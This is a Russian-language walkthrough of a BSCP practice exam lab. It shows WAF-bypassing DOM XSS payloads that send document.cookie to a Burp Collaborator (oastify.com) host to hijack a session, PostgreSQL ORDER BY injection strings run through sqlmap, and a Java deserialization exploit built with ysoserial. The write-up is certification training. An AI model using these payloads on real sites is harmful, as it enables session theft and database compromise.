July 21, 2023

BSCP step Two pt2

Machine2.

Этап 1 — Получение доступа к учётной записи пользователя с низким уровнем привилегий.

Здесь также встречается функциональность поиска по сайту, попробую использовать сканирование в BurpSuite.

Identificate. Active Scan.

Отправляю в ActiveScan для обнаружения потенциальной уязвимости, и он помечает DOM-XSS.

Предложенная сканером полезная нагрузка:

"-alert(1)-"

При попытке эксплуатации отправляет меня на WAF. Необходимо придумать обход. Протестировав различные способы байпаса, я пришёл к полезной нагрузке в виде:

\\"-alert`1`}//

Write Cookie.

Для кражи сессионного идентификатора необходимо решить проблему с подбором полезной нагрузки, так как в данном случае блокируется вхождение символов ().

Полезная нагрузка, которая помогает распечатать cookie:

\\"-prompt`${document.cookie}`}//

Но с ней у меня не получилось подобрать возможность захвата сессии. Вдохновившись статьей о байпассах XSS, я встретил возможность обойти скобки в виде:

setTimeout`alert\x28document.cookie\x29

Исправляю полезную нагрузку:

\\"-setTimeout`alert\x28document.cookie\x29`}//

Steal Cookie.

Захват сеанса можно осуществить с помощью полезной нагрузки из предыдущей статьи. Но необходимо исправить вхождения скобок.

fetch(`https://COLLAB/?jsonc=` + document.cookie

\\"-setTimeout`fetch\x28'https://as6zhkxhktal8y7j7kidwyt38uel2cq1.oastify.com/jsonc='+document.cookie\x29`}//

Отлично. Полезная нагрузка позволила получить свои cookie.

Перехожу в exploit server и ворую сессионный идентификатор пользователя:

document.location='https://burplab/searchterm=\\"-setTimeout`fetch\x28'https://as6zhkxhktal8y7j7kidwyt38uel2cq1.oastify.com/jsonc='+document.cookie\x29`}//'

Этап 2 — Повышение привилегий до уровня администратора.

На данном этапе встречается такая же функциональность расширенного поиска. Наверное полезная нагрузка из предыдущей статьи отлично бы подошла для решения задачи.

Identificate. Active Scan.

Снова SQL Injection, но на этот раз необходимо обойти ещё и WAF.

Вставляю каждый необходимый для эксплуатации символ и проверяю реакцию WAF.

WAF блокирует символ:

;

Обход — не использовать этот символ, в конце запроса просто добавляем символ комментария для PostgreSQL:

--

Точка внедрения немного сложнее. В данном случае в ORDER BY попадает числовое значение из соседнего параметра, инъекции в нём нет, можно подставить только числа 3 и 5. Эксплуатация уязвимости осуществляется через запятую, а точнее:

,cast(chr(126)||(case when (ASCII(substring(version(),1,1))=103) then author else title end)||chr(126) as numeric)--
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)

С эксплуатацией через as numeric у меня возникли трудности, и как раскрутить данную sql injection вручную я не придумал.

Exploit. SQLmap.

Решением стало просто натравить sqlmap таким же способом, как и раннее, и он помог проэксплуатировать уязвимость.

Снова postgres было легко.

Этап 3 — Чтение файла /home/carlos/secret

Здесь встречается такая же уязвимость, что и предыдущей статье. Этапы эксплуатации уже были продемонстрированы в ней, а в этой статье я попробую подробнее рассказать про Java Deserialization Scanner.
Дополнительно hacktricks.

Плагин состоит из трех разных компонентов:

  1. Интеграция с активным и пассивным сканером Burp Suite;
  2. Ручной тестер для обнаружения уязвимостей десериализации Java в пользовательских точках вставки;
  3. Эксплойтер, позволяющий активно эксплуатировать уязвимости десериализации Java, используя frohoff ysoserial.

Идентифицировать данную уязвимость можно было бы и с помощью ActiveScan.

В сканере существуют полезные нагрузки двух видов:

  1. Полезные нагрузки, которые выполняют функцию синхронного сна, чтобы проверить наличие уязвимости в зависимости от времени ответа;
  2. Полезные нагрузки, которые выполняют разрешение DNS, чтобы проверить наличие уязвимости с помощью Burp Suite Collaborator, интегрированного в Burp Suite.

Эксплойт создается с помощью инструмента ysoserial. Он и генерирует необходимую полезную нагрузку. Каждый CommonsCollection имеет свою вариацию эксплойта.

Identificate. Active Scan.

Увы, новой уязвимости на заключительном этапе не встречается: снова Java Deserialization. Просканировав данный эндпоинт с помощью ActiveScan, получаю подтверждение уязвимости.

Идентифицирую и определяю, как конкретно работает уязвимость, и какая полезная нагрузка нужна — в нашем случае DNS (JRE only).
Подробнее о том, как выглядит десериализованный объект, и как работают выставленные в сканере кодировки:

Exploit. Deserialization scanner.

Эксплуатируем таким же образом, как и раннее, и получаю финальный флаг: